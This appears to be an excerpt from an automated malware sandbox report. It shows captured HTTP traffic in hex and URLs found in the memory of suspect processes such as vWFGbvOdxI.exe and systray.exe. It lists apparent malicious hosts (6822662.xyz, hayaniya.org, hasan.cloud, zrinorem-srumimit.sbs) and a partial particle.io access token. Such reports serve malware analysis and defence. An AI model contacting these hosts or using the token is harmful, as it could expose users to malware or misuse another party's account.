2e cb cd 31 c6 5a eb 60 3f df eb 63 56 43 c1 34 e8 a4 9a b2 da 6c fa e1 cc b8 10 2d 20 fb c8 bf 76 bb dd 5c f0 d9 84 ef 5e cb f9 d0 78 97 f3 fe 3c 58 ba 06 dc f6 e4 b4 d8 a3 a4 54 4d b3 f2 c6 fd e7 b5 3d 7a ca aa cd a1 23 9e 01 ca 9e 7a 42 be dc 71 67 5b 65 00 c1 89 b0 5f f7 c3 59 0f 6e 77 c7 a4 76 32 85 3f ef 74 d3 66 2e 29 ea a4 d4 de 80 78 d8 94 15 20 72 6b b7 8b f9 fc 70 38 90 83 20 a6 5e cf 39 a5 74 0e aa 47 49 77 ac bd 32 0f 2b 8f 22 8a 24 e3 ee 19 98 83 2f b3 e5 56 d9 7c 98 cc d2 95 f7 4e 52 1f ba 6b 90 50 a8 d0 80 c4 71 88 19 63 84 fa 02 71 3f c2 f0 b8 ef 6d 84 44 cc 1d 17 45 4e fa 26 42 8c c5 84 46 a2 fb 82 74 4b 47 51 e3 10 ad 86 a8 d5 e0 9e 2f ef 78 c0 49 20 25 8a 69 82 a5 4f
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 28 Nov 2024 08:16:49 GMTContent-Type: text/html; charset=utf-8Content-Length: 2966Connection: closeVary: Accept-EncodingETag: "66cce1df-b96"Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 2f 3e 0a 09 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 73 74 79 6c 65 3e 0a 09 09 09 62 6f 64 79 20 7b 0a 09 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 35 66 35 66 35 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 38 25 3b 0a 09 09 09 09 63 6f 6c 6f 72 3a 20 23 35 64 35 64 35 64 3b 0a 09 09 09 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 20 42 6c 69 6e 6b 4d 61 63 53 79 73 74 65 6d 46 6f 6e 74 2c 20 22 53 65 67 6f 65 20 55 49 22 2c 20 52 6f 62 6f 74 6f 2c 20 22 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 22 2c 20 41 72 69 61 6c 2c 0a 09 09 09 09 09 22 4e 6f 74 6f 20 53 61 6e 73 22 2c 20 73 61 6e 73 2d 73 65 72 69 66 2c 20 22 41 70 70 6c 65 20 43 6f 6c 6f 72 20 45 6d 6f 6a 69 22 2c 20 22 53 65 67 6f 65 20 55 49 20 45 6d 6f 6a 69 22 2c 20 22 53 65 67 6f 65 20 55 49 20 53 79 6d 62 6f 6c 22 2c 0a 09 09 09 09 09 22 4e 6f 74 6f 20 43 6f 6c 6f 72 20 45 6d 6f 6a 69 22 3b 0a 09 09 09 09 74 65 78 74 2d 73 68 61 64 6f 77 3a 20 30 70 78 20 31 70 78 20 31 70 78 20 72 67 62 61 28 32 35 35 2c 20 32 35 35 2c 20 32 35 35 2c 20 30 2e 37 35 29 3b 0a 09 09 09 09 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 09 09 09 7d 0a 0a 09 09 09 68 31 20 7b 0a 09 09 09 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 2e 34 35 65 6d 3b 0a 09 09 09 09 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 37 30 30 3b 0a 09 09 09 09 63 6f 6c 6f 72 3a 20 23 35 64 35 64 35 64 3b 0a 09 09 09 09 6c 65 74 74 65 72 2d 73 70 61 63 69 6e 67 3a 20 2d 30 2e 30 32 65 6d 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 33 30 70 78 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 33 30 70 78 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 09 09 09 09 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 61 6e 69 6d 61 74 65 5f 5f 61 6e 69 6d 61 74 65 64 20 7b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 20 31 73 3b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 66 69 6c 6c 2d 6d 6f 64 65 3a 20 62 6f 74 68 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 61 6e 69 6d 61 74 65 5f 5f 66 61 64 65 49 6e 20 7b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 6e 61 6d 6

Source: systray.exe, 00000011.00000002.4500910385.00000000050B6000.00000004.10000000.00040000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000003206000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://cpanel.com/?utm_source=cpanelwhm&utm_medium=cplogo&utm_content=logolink&utm_campaign=404refer
Source: Documents.exe, uFEeKIucsX.exe.0.dr	String found in binary or memory: http://crl.comodoca.com/COMODORSACertificationAuthority.crl0q
Source: Documents.exe, uFEeKIucsX.exe.0.dr	String found in binary or memory: http://crl.comodoca.com/COMODORSACodeSigningCA.crl0t
Source: systray.exe, 00000011.00000002.4500910385.00000000053DA000.00000004.10000000.00040000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4500346640.000000000352A000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://hayaniya.org/yf1h/?QhKxhNP=YVpI46H16R/w/kk1bY6rBRavyZUbsgJtp9CZM
Source: Documents.exe, uFEeKIucsX.exe.0.dr	String found in binary or memory: http://ocsp.comodoca.com0
Source: Documents.exe, 00000000.00000002.2154688065.0000000003376000.00000004.00000800.00020000.00000000.sdmp, uFEeKIucsX.exe, 0000000A.00000002.2277213173.00000000028E6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000003B72000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.6822662.xyz/
Source: systray.exe, 00000011.00000002.4500910385.0000000005A22000.00000004.10000000.00040000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000003B72000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.6822662.xyz/Dating/047a40599547.html
Source: systray.exe, 00000011.00000002.4500910385.0000000005A22000.00000004.10000000.00040000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000003B72000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.6822662.xyz/Dating/067b299930.html
Source: systray.exe, 00000011.00000002.4500910385.0000000005A22000.00000004.10000000.00040000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000003B72000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.6822662.xyz/Dating/068e399928.html
Source: systray.exe, 00000011.00000002.4500910385.0000000005A22000.00000004.10000000.00040000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000003B72000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.6822662.xyz/Dating/069a299928.html
Source: systray.exe, 00000011.00000002.4500910385.0000000005A22000.00000004.10000000.00040000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000003B72000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.6822662.xyz/Dating/128c40599466.html
Source: systray.exe, 00000011.00000002.4500910385.0000000005A22000.00000004.10000000.00040000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000003B72000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.6822662.xyz/Dating/129d40599465.html
Source: systray.exe, 00000011.00000002.4500910385.0000000005A22000.00000004.10000000.00040000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000003B72000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.6822662.xyz/Dating/14a40599580.html
Source: systray.exe, 00000011.00000002.4500910385.0000000005A22000.00000004.10000000.00040000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000003B72000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.6822662.xyz/Dating/178b40599416.html
Source: systray.exe, 00000011.00000002.4500910385.0000000005A22000.00000004.10000000.00040000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000003B72000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.6822662.xyz/Dating/209d40599385.html
Source: systray.exe, 00000011.00000002.4500910385.0000000005A22000.00000004.10000000.00040000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000003B72000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.6822662.xyz/Dating/289d399707.html
Source: systray.exe, 00000011.00000002.4500910385.0000000005A22000.00000004.10000000.00040000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000003B72000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.6822662.xyz/Dating/444d40599150.html
Source: systray.exe, 00000011.00000002.4500910385.0000000005A22000.00000004.10000000.00040000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000003B72000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.6822662.xyz/Dating/449a40599145.html
Source: systray.exe, 00000011.00000002.4500910385.0000000005A22000.00000004.10000000.00040000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000003B72000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.6822662.xyz/Dating/468c40599126.html
Source: systray.exe, 00000011.00000002.4500910385.0000000005A22000.00000004.10000000.00040000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000003B72000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.6822662.xyz/Dating/565f40599029.html
Source: systray.exe, 00000011.00000002.4500910385.0000000005A22000.00000004.10000000.00040000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000003B72000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.6822662.xyz/Dating/736e40598858.html
Source: systray.exe, 00000011.00000002.4500910385.0000000005A22000.00000004.10000000.00040000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000003B72000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.6822662.xyz/Dating/776b40598818.html
Source: systray.exe, 00000011.00000002.4500910385.0000000005A22000.00000004.10000000.00040000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000003B72000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.6822662.xyz/Dating/830f499165.html
Source: systray.exe, 00000011.00000002.4500910385.0000000005A22000.00000004.10000000.00040000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000003B72000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.6822662.xyz/Dating/87c40599507.html
Source: systray.exe, 00000011.00000002.4500910385.0000000005A22000.00000004.10000000.00040000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000003B72000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.6822662.xyz/Dating/912f40598682.html
Source: systray.exe, 00000011.00000002.4500910385.0000000005A22000.00000004.10000000.00040000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000003B72000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.6822662.xyz/Dating/927a399069.html
Source: systray.exe, 00000011.00000002.4500910385.0000000005A22000.00000004.10000000.00040000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000003B72000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.6822662.xyz/baishimolinair/
Source: systray.exe, 00000011.00000002.4500910385.0000000005A22000.00000004.10000000.00040000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000003B72000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.6822662.xyz/cangjingkong/
Source: systray.exe, 00000011.00000002.4500910385.0000000005A22000.00000004.10000000.00040000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000003B72000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.6822662.xyz/dnjw/
Source: systray.exe, 00000011.00000002.4500910385.0000000005A22000.00000004.10000000.00040000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000003B72000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.6822662.xyz/gongdilan/
Source: systray.exe, 00000011.00000002.4500910385.0000000005A22000.00000004.10000000.00040000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000003B72000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.6822662.xyz/guchuanyizhi/
Source: systray.exe, 00000011.00000002.4500910385.0000000005A22000.00000004.10000000.00040000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000003B72000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.6822662.xyz/jiuzhonghuannai/1/
Source: systray.exe, 00000011.00000002.4500910385.0000000005A22000.00000004.10000000.00040000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000003B72000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.6822662.xyz/jiuzhonghuannai/10/
Source: systray.exe, 00000011.00000002.4500910385.0000000005A22000.00000004.10000000.00040000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000003B72000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.6822662.xyz/jiuzhonghuannai/2/
Source: systray.exe, 00000011.00000002.4500910385.0000000005A22000.00000004.10000000.00040000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000003B72000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.6822662.xyz/jiuzhonghuannai/3/
Source: systray.exe, 00000011.00000002.4500910385.0000000005A22000.00000004.10000000.00040000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000003B72000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.6822662.xyz/jiuzhonghuannai/4/
Source: systray.exe, 00000011.00000002.4500910385.0000000005A22000.00000004.10000000.00040000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000003B72000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.6822662.xyz/jiuzhonghuannai/5/
Source: systray.exe, 00000011.00000002.4500910385.0000000005A22000.00000004.10000000.00040000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000003B72000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.6822662.xyz/jiuzhonghuannai/6/
Source: systray.exe, 00000011.00000002.4500910385.0000000005A22000.00000004.10000000.00040000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000003B72000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.6822662.xyz/jiuzhonghuannai/7/
Source: systray.exe, 00000011.00000002.4500910385.0000000005A22000.00000004.10000000.00040000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000003B72000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.6822662.xyz/jiuzhonghuannai/8/
Source: systray.exe, 00000011.00000002.4500910385.0000000005A22000.00000004.10000000.00040000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000003B72000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.6822662.xyz/jiuzhonghuannai/9/
Source: systray.exe, 00000011.00000002.4500910385.0000000005A22000.00000004.10000000.00040000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000003B72000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.6822662.xyz/julisha/
Source: systray.exe, 00000011.00000002.4500910385.0000000005A22000.00000004.10000000.00040000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000003B72000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.6822662.xyz/lingcunaili/
Source: systray.exe, 00000011.00000002.4500910385.0000000005A22000.00000004.10000000.00040000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000003B72000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.6822662.xyz/mingrihuaqiluo/
Source: systray.exe, 00000011.00000002.4500910385.0000000005A22000.00000004.10000000.00040000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000003B72000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.6822662.xyz/ruocainaiyang/
Source: systray.exe, 00000011.00000002.4500910385.0000000005A22000.00000004.10000000.00040000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000003B72000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.6822662.xyz/shuiyechaoyang/
Source: systray.exe, 00000011.00000002.4500910385.0000000005A22000.00000004.10000000.00040000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000003B72000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.6822662.xyz/shuiyechaoyangh/
Source: systray.exe, 00000011.00000002.4500910385.0000000005A22000.00000004.10000000.00040000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000003B72000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.6822662.xyz/sitemap.xml
Source: systray.exe, 00000011.00000002.4500910385.0000000005A22000.00000004.10000000.00040000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000003B72000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.6822662.xyz/template/news/news10/css/layout.css
Source: systray.exe, 00000011.00000002.4500910385.0000000005A22000.00000004.10000000.00040000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000003B72000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.6822662.xyz/xiaotianyou/
Source: systray.exe, 00000011.00000002.4500910385.0000000005A22000.00000004.10000000.00040000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000003B72000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.6822662.xyz/xidaoailiw/
Source: systray.exe, 00000011.00000002.4500910385.0000000005A22000.00000004.10000000.00040000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000003B72000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.6822662.xyz/yasendi/
Source: systray.exe, 00000011.00000002.4500910385.0000000005A22000.00000004.10000000.00040000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000003B72000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.6822662.xyz/youtianzhenxi/
Source: systray.exe, 00000011.00000002.4500910385.0000000005A22000.00000004.10000000.00040000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000003B72000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.6822662.xyz/zuozuomumingxi/
Source: vWFGbvOdxI.exe, 00000012.00000002.4502147682.0000000005126000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.hasan.cloud
Source: vWFGbvOdxI.exe, 00000012.00000002.4502147682.0000000005126000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.hasan.cloud/tur7/
Source: vWFGbvOdxI.exe, 00000012.00000002.4500346640.00000000039E0000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://zrinorem-srumimit.sbs/
Source: vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000003D04000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://0dyos.com
Source: systray.exe, 00000011.00000003.2527658066.00000000074EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: Documents.exe, uFEeKIucsX.exe.0.dr	String found in binary or memory: https://api.particle.io/v1/devices/13300350003473433373737385/digitalread?access_token=Q235ad2c91cac
Source: systray.exe, 00000011.00000003.2527658066.00000000074EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: systray.exe, 00000011.00000003.2527658066.00000000074EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: systray.exe, 00000011.00000003.2527658066.00000000074EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: systray.exe, 00000011.00000002.4500910385.0000000005ED8000.00000004.10000000.00040000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000004028000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://cs.deviceatlas-cdn.com
Source: systray.exe, 00000011.00000002.4500910385.0000000005ED8000.00000004.10000000.00040000.00000000.sdmp, systray.exe, 00000011.00000002.4502624257.0000000007210000.00000004.00000800.00020000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000004028000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://cs.deviceatlas-cdn.com/101dacs.js
Source: systray.exe, 00000011.00000002.4500910385.0000000005ED8000.00000004.10000000.00040000.00000000.sdmp, systray.exe, 00000011.00000002.4502624257.0000000007210000.00000004.00000800.00020000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000004028000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://cs.deviceatlas-cdn.com/smartclick
Source: systray.exe, 00000011.00000003.2527658066.00000000074EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: systray.exe, 00000011.00000003.2527658066.00000000074EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: systray.exe, 00000011.00000003.2527658066.00000000074EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: systray.exe, 00000011.00000002.4498880450.00000000006E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srf?client_id=00000000480728C5&scope=service::ssl.live.com:
Source: systray.exe, 00000011.00000002.4498880450.00000000006E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srfclient_id=00000000480728C5&scope=service::ssl.live.com::
Source: systray.exe, 00000011.00000002.4498880450.00000000006E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srflc=1033
Source: systray.exe, 00000011.00000002.4498880450.00000000006E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srf?client_id=00000000480728C5&redirect_uri=https://login.live
Source: systray.exe, 00000011.00000002.4498880450.00000000006E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srfclient_id=00000000480728C5&redirect_uri=https://login.live.
Source: systray.exe, 00000011.00000003.2522848607.00000000074C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srfhttps://login.live.com/oauth20_authorize.srfhttps://login.l
Source: systray.exe, 00000011.00000002.4500910385.0000000005ED8000.00000004.10000000.00040000.00000000.sdmp, systray.exe, 00000011.00000002.4502624257.0000000007210000.00000004.00000800.00020000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000004028000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://my.101domain.com?utm_campaign=parked-page&utm_medium=referral&utm_source=carpentry.club&utm_
Source: vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000004028000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://park.101datacenter.net
Source: systray.exe, 00000011.00000002.4500910385.0000000005ED8000.00000004.10000000.00040000.00000000.sdmp, systray.exe, 00000011.00000002.4502624257.0000000007210000.00000004.00000800.00020000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000004028000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://park.101datacenter.net/css/fonts/LatoRegular.woff)
Source: systray.exe, 00000011.00000002.4500910385.0000000005ED8000.00000004.10000000.00040000.00000000.sdmp, systray.exe, 00000011.00000002.4502624257.0000000007210000.00000004.00000800.00020000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000004028000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://park.101datacenter.net/css/fonts/LatoRegular.woff2
Source: systray.exe, 00000011.00000002.4500910385.0000000005ED8000.00000004.10000000.00040000.00000000.sdmp, systray.exe, 00000011.00000002.4502624257.0000000007210000.00000004.00000800.00020000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000004028000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://park.101datacenter.net/css/fonts/LatoRegular.woff2)
Source: systray.exe, 00000011.00000002.4500910385.0000000005ED8000.00000004.10000000.00040000.00000000.sdmp, systray.exe, 00000011.00000002.4502624257.0000000007210000.00000004.00000800.00020000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000004028000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://park.101datacenter.net/css/vendor-1.css?20240925050808
Source: systray.exe, 00000011.00000002.4500910385.0000000005ED8000.00000004.10000000.00040000.00000000.sdmp, systray.exe, 00000011.00000002.4502624257.0000000007210000.00000004.00000800.00020000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000004028000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://park.101datacenter.net/images/vendor-1/101domain-logo.svg
Source: systray.exe, 00000011.00000002.4500910385.0000000005ED8000.00000004.10000000.00040000.00000000.sdmp, systray.exe, 00000011.00000002.4502624257.0000000007210000.00000004.00000800.00020000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000004028000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://park.101datacenter.net/images/vendor-1/com.png
Source: systray.exe, 00000011.00000002.4500910385.0000000005ED8000.00000004.10000000.00040000.00000000.sdmp, systray.exe, 00000011.00000002.4502624257.0000000007210000.00000004.00000800.00020000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000004028000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://park.101datacenter.net/images/vendor-1/google-reviews.svg
Source: systray.exe, 00000011.00000002.4500910385.0000000005ED8000.00000004.10000000.00040000.00000000.sdmp, systray.exe, 00000011.00000002.4502624257.0000000007210000.00000004.00000800.00020000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000004028000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://park.101datacenter.net/images/vendor-1/google_workspace.png
Source: systray.exe, 00000011.00000002.4500910385.0000000005ED8000.00000004.10000000.00040000.00000000.sdmp, systray.exe, 00000011.00000002.4502624257.0000000007210000.00000004.00000800.00020000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000004028000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://park.101datacenter.net/images/vendor-1/icon/101domain.ico
Source: systray.exe, 00000011.00000002.4500910385.0000000005ED8000.00000004.10000000.00040000.00000000.sdmp, systray.exe, 00000011.00000002.4502624257.0000000007210000.00000004.00000800.00020000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000004028000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://park.101datacenter.net/images/vendor-1/park-back.jpg
Source: vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000004028000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://park.101datacenter.net/images/vendor-1/park-back.webp
